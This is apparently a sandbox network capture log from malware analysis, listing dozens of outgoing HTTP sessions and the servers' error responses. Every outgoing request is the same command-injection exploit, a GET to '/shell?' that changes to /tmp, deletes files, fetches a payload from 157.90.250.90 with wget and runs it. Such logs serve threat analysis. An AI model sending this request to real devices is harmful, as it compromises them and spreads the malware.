Jan 2, 2024 06:24:49.415397882 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:49 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.23	46098	64.120.69.49	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:49.087898970 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:49.264631033 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:49 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.23	57992	160.242.101.249	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:49.569096088 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:49.940783024 CET	468	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.0 (Ubuntu) Date: Tue, 02 Jan 2024 05:24:49 GMT Content-Type: text/html Content-Length: 194 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.23	49620	74.48.45.146	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:50.099123955 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:50.258147001 CET	336	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Tue, 02 Jan 2024 05:24:50 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.23	35656	104.86.91.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:50.099509954 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:50.258171082 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:50 GMT Date: Tue, 02 Jan 2024 05:24:50 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 34 66 34 64 35 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 39 30 26 23 34 36 3b 35 37 64 38 65 62 66 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a4f4d517.1704173090.57d8ebf3</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.23	59748	154.204.118.161	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:50.106168032 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.23	56696	121.11.37.234	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:50.251379967 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.23	56708	121.11.37.234	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:50.567236900 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:51.527112007 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.23	54816	174.71.165.229	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:51.730581045 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:51.892411947 CET	499	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:51 GMT X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.23	46794	152.200.138.81	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:51.767453909 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.23	39876	2.21.48.248	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:51.823066950 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:52.071661949 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:51 GMT Date: Tue, 02 Jan 2024 05:24:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 63 39 62 31 37 30 32 26 23 34 36 3b 31 37 30 34 31 37 33 30 39 31 26 23 34 36 3b 32 63 64 64 36 35 66 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ac9b1702.1704173091.2cdd65f5</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.23	47266	52.85.133.31	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:51.888603926 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:52.046765089 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:24:51 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.23	60948	51.210.249.66	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:52.075604916 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:52.328078032 CET	506	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:52 GMT Server: Apache/2.4.56 (Debian) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 62 69 6a 6f 75 78 79 6f 75 70 6c 61 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at www.bijouxyoupla.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.23	52484	104.93.2.119	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:52.173460960 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:52.460793972 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:52 GMT Date: Tue, 02 Jan 2024 05:24:52 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 34 64 37 64 32 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 39 32 26 23 34 36 3b 37 61 36 65 62 38 31 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.94d7d217.1704173092.7a6eb813</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.23	43184	42.237.113.222	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:52.311736107 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:52.660515070 CET	355	IN	HTTP/1.1 403 Forbidden Server: Byte-nginx Date: Tue, 02 Jan 2024 05:24:52 GMT Content-Type: application/octet-stream Connection: keep-alive Byte-Error-Code: 0060 Content-Length: 24 via: cache05.hnpycu01 x-request-ip: 212.102.41.2 x-tt-trace-tag: id=5 x-response-cinfo: 212.102.41.2 x-response-cache: miss Data Raw: 31 32 37 2e 30 2e 30 2e 31 20 63 6f 6e 66 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 127.0.0.1 conf not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.23	49944	107.149.236.151	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:54.829092979 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:54.992598057 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:25:05 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.23	60782	18.169.231.145	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:54.905174971 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.23	53184	46.4.186.236	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:54.906256914 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:55.146893024 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Tue, 02 Jan 2024 05:24:55 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.23	42144	51.68.46.23	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:54.912246943 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:55.158963919 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Tue, 02 Jan 2024 05:24:55 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.23	42050	90.186.147.74	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:54.920917034 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:55.180138111 CET	516	IN	HTTP/1.0 400 Bad Request Connection: close Content-Type: text/html Content-Length: 349 Date: Tue, 02 Jan 2024 05:24:54 GMT Server: lighttpd/1.4.18 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 